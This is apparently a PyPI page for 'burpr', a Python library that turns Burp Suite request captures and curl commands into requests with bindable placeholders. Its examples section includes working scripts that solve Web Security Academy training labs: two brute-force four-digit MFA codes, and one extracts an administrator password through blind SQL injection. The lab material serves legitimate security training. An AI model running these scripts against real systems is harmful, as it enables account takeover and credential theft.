A Burp Suite request parser, used for aid in assessing application security functionality.
Project description
Burpr
What is it
A Burp Suite request parser, used for aid in assessing application security functionality.
Why I wrote it
To use captured requests programatically.
Installation
pip install burpr
Usage
Parse Burp requests from strings or files. Use the .bind() method to replace placeholder values.
import burpr
# Parse from string
burp_request = '''GET /api/users HTTP/2
Host: example.com
Authorization: Bearer %TOKEN%
'''
req = burpr.parse_string(burp_request)
req.bind("%TOKEN%", "actual-token-value")
# Method 1: Using requests library
response = req.make_request()
# Method 2: Using httpx for HTTP/2 support
response = req.make_httpx_request()
# Method 3: Manual with any HTTP client
import httpx
client = httpx.Client(http2=req.is_http2)
response = client.request(
method=req.method,
url=req.url,
headers=req.headers,
content=req.body
)
Features
Comprehensive Parsing Support
# Parse Burp Suite requests
req = burpr.parse_string(burp_request_string)
req = burpr.parse_file("request.txt")
# Parse curl commands
req = burpr.from_curl('curl -X POST https://api.com/data -d "key=%VALUE%"')
# Parse from Python requests
req = burpr.from_requests("POST", "https://api.com", json={"key": "%VALUE%"})
# Parse HTTP/2 requests
req = burpr.from_http2({
":method": "GET",
":path": "/users",
":authority": "api.example.com",
":scheme": "https"
})
Placeholder System
# Use %PLACEHOLDER% format for dynamic values
req.bind("%TOKEN%", "actual-token-value")
req.bind("%USER_ID%", "12345")
# Chain multiple bindings
req.bind("%HOST%", "prod.api.com") \
.bind("%VERSION%", "v2") \
.bind("%KEY%", "secret")
Making Requests
# Method 1: Direct execution with requests library
response = req.make_request()
# Method 2: Using httpx for HTTP/2 support
response = req.make_httpx_request()
# Method 3: Get prepared request for custom handling
prepared = req.to_request() # returns requests.PreparedRequest
Utility Functions
# Clone a request
req2 = burpr.clone(req)
# Set Content-Length
burpr.prepare(req)
# Convert back to Burp format
burp_string = burpr.to_burp_format(req)
Examples
Brute Force Broken MFA
import burpr
import httpx
import itertools
burp_request = r"""POST /login2 HTTP/2
Host: xxxx.web-security-academy.net
Cookie: verify=carlos; session=xxxx
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxx.web-security-academy.net/login2
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
mfa-code=%MFA_CODE%
"""
def generate_pin_numbers():
return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]
def brute_force_broken_mfa():
# Parse base request
base_req = burpr.parse_string(burp_request)
# Create http client
client = httpx.Client(http2=base_req.is_http2)
for pin in generate_pin_numbers():
# Clone and bind the PIN
req = burpr.clone(base_req)
req.bind("%MFA_CODE%", pin)
burpr.prepare(req)
# Send request
res = client.request(
method=req.method,
url=req.url,
headers=req.headers,
content=req.body
)
print(res.status_code, pin)
if res.status_code != 200:
break
brute_force_broken_mfa()
Brute Force Stricter Broken MFA
import burpr
import httpx
from bs4 import BeautifulSoup
import itertools
def generate_pin_numbers():
return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]
def brute_force_stricter_broken_mfa():
# Templates with placeholders
login_get_template = '''GET /login HTTP/1.1
Host: xxxx.web-security-academy.net
'''
login_post_template = '''POST /login HTTP/1.1
Host: xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: %SESSION%
csrf=%CSRF%&username=%USERNAME%&password=%PASSWORD%
'''
mfa_get_template = '''GET /login2 HTTP/1.1
Host: xxxx.web-security-academy.net
Cookie: %SESSION%
'''
mfa_post_template = '''POST /login2 HTTP/1.1
Host: xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: %SESSION%
csrf=%CSRF%&mfa-code=%MFA_CODE%
'''
victim_login = "carlos"
victim_pass = "montoya"
client = httpx.Client()
for pin in generate_pin_numbers():
# Get CSRF token
req = burpr.parse_string(login_get_template)
res = client.request(req.method, req.url, headers=req.headers)
soup = BeautifulSoup(res.text, "html.parser")
csrf = soup.find(attrs={"name": "csrf"})["value"]
session = res.cookies.get("session")
# Login
req = burpr.parse_string(login_post_template)
req.bind("%SESSION%", f"session={session}")
req.bind("%CSRF%", csrf)
req.bind("%USERNAME%", victim_login)
req.bind("%PASSWORD%", victim_pass)
burpr.prepare(req)
res = client.request(
method=req.method,
url=req.url,
headers=req.headers,
content=req.body
)
# Get MFA page
session = res.cookies.get("session")
req = burpr.parse_string(mfa_get_template)
req.bind("%SESSION%", f"session={session}")
res = client.request(req.method, req.url, headers=req.headers)
soup = BeautifulSoup(res.text, "html.parser")
csrf = soup.find(attrs={"name": "csrf"})["value"]
# Try MFA code
req = burpr.parse_string(mfa_post_template)
req.bind("%SESSION%", f"session={session}")
req.bind("%CSRF%", csrf)
req.bind("%MFA_CODE%", pin)
burpr.prepare(req)
res = client.request(
method=req.method,
url=req.url,
headers=req.headers,
content=req.body
)
print(pin)
if res.status_code != 200:
print(res.status_code, pin, res.headers)
break
brute_force_stricter_broken_mfa()
Blind SQL Injection with Conditional Responses
import burpr
import httpx
import sys
burp_request = '''GET /filter?category=Gifts HTTP/2
Host: xxxx.web-security-academy.net
Cookie: TrackingId=%TRACKING_ID%; session=aaaabbbbbcccccdddddd
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxx.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
'''
alphabet = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-+="
base_tracking = "aaaabbbbbcccccdddddd"
# Parse base request
base_req = burpr.parse_string(burp_request)
client = httpx.Client(http2=base_req.is_http2)
# Determine password length
length = 0
while length < 255:
payload = f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)={length + 1})='a"
tracking_id = base_tracking + payload
req = burpr.clone(base_req)
req.bind("%TRACKING_ID%", tracking_id)
res = client.request(req.method, req.url, headers=req.headers)
length = length + 1
if "Welcome back" in res.text:
break
print(f"[*] Password length is {length}, retrieving password:")
# Retrieve password
for i in range(length):
for letter in alphabet:
payload = f"' AND (SELECT SUBSTRING(password,{i + 1},1) FROM users WHERE username='administrator')='{letter}"
tracking_id = base_tracking + payload
req = burpr.clone(base_req)
req.bind("%TRACKING_ID%", tracking_id)
res = client.request(req.method, req.url, headers=req.headers)
if "Welcome back" in res.text:
sys.stdout.write(letter)
sys.stdout.flush()
break
Using curl Commands
import burpr
import httpx
# Parse curl command with placeholders
curl_cmd = '''curl -X POST https://api.example.com/v2/authenticate \
-H "Content-Type: application/json" \
-H "X-API-Key: %API_KEY%" \
-d '{"username": "%USERNAME%", "password": "%PASSWORD%", "grant_type": "password"}'
'''
req = burpr.from_curl(curl_cmd)
req.bind("%API_KEY%", "sk-1234567890")
req.bind("%USERNAME%", "testuser")
req.bind("%PASSWORD%", "testpass123")
client = httpx.Client()
response = client.request(
method=req.method,
url=req.url,
headers=req.headers,
content=req.body
)
Request Builder Pattern
import burpr
# Create a template with multiple placeholders
api_template = '''%METHOD% %ENDPOINT% HTTP/1.1
Host: %HOST%
Authorization: Bearer %TOKEN%
Content-Type: %CONTENT_TYPE%
X-Request-ID: %REQUEST_ID%
%BODY%
'''
# Build different requests from the same template
def create_api_request(method, endpoint, body="", content_type="application/json"):
req = burpr.parse_string(api_template)
req.bind("%METHOD%", method)
req.bind("%ENDPOINT%", endpoint)
req.bind("%HOST%", "api.production.com")
req.bind("%TOKEN%", get_current_token())
req.bind("%CONTENT_TYPE%", content_type)
req.bind("%REQUEST_ID%", generate_request_id())
req.bind("%BODY%", body)
burpr.prepare(req)
return req
# Use it
req1 = create_api_request("GET", "/api/users")
req2 = create_api_request("POST", "/api/users", '{"name": "John"}')
req3 = create_api_request("DELETE", "/api/users/123")
Testing
Run tests with pytest:
pytest tests/ -v
License
MIT License
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file burpr-0.3.0.tar.gz.
File metadata
- Download URL: burpr-0.3.0.tar.gz
- Upload date:
- Size: 15.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bc2d9f1c7b85d87091758c85903138dda0c8f16e30bd182dbb9ee4e2feacd0f8
|
|
| MD5 |
d68b7b8655d1212b6fa7543c340bc663
|
|
| BLAKE2b-256 |
cc239bd408ec3231520414f51e0090f374bd0a1ad564461b823ab986f6ece28b
|
File details
Details for the file burpr-0.3.0-py3-none-any.whl.
File metadata
- Download URL: burpr-0.3.0-py3-none-any.whl
- Upload date:
- Size: 18.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0c265bb66ded633d0acb32b50b514306128f62d2f7276b19cc29d4628a417924
|
|
| MD5 |
72b874349217e2326081a0ee4bcaaae9
|
|
| BLAKE2b-256 |
7a080de0a93fa1b7542c731aa0b588e906cf9a76549cfcbae885214341b7c88e
|